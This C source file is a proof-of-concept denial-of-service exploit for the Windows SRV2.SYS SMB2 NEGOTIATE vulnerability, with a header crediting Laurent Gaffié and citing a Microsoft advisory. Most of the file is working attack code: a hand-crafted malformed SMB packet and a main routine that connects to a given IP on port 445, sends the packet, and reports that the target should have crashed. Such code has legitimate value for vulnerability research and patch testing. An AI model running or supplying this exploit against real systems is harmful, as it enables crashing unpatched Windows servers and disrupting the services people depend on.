/* * * SMB SRV2.SYS Denial of Service PoC * Release Date: Sep 8, 2009 * Severity: Medium/High * Systems Affected: Windows Vista SP1+SP2, Windows 2008 SP2, Windows 7 Beta + RC * Discovered by: Laurent Gaffié * * Description: * SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. * The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used * to identify the SMB dialect that will be used for futher communication. * * KB: http://www.microsoft.com/technet/security/advisory/975497.mspx */ #include <windows.h> #include <stdio.h> #pragma comment(lib, "WS2_32.lib") char buff[] = "\x00\x00\x00\x90" // Begin SMB header: Session message "\xff\x53\x4d\x42" // Server Component: SMB "\x72\x00\x00\x00" // Negociate Protocol "\x00\x18\x53\xc8" // Operation 0x18 & sub 0xc853 "\x00\x26" // Process ID High: --> :) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00"; int main(int argc, char *argv[]) { if (argc < 2) { printf("Syntax: %s [ip address]\r\n", argv[0]); return -1; } WSADATA WSAdata; WSAStartup(MAKEWORD(2, 2), &WSAdata); SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); char *host = argv[1]; // fill in sockaddr and resolve the host SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = htons((unsigned short)445); ssin.sin_addr.s_addr = inet_addr(host); printf("Connecting to %s:445... ", host); if (connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == -1) { printf("ERROR!\r\n"); return 0; } printf("OK\r\n"); printf("Sending malformed packet... "); if (send(sock, buff, sizeof(buff), 0) <= 0) { printf("ERROR!\r\n"); return 0; } printf("OK\r\n"); printf("Successfully sent packet!\r\nTarget should be crashed...\r\n"); // Close the socket closesocket(sock); WSACleanup(); return 1; }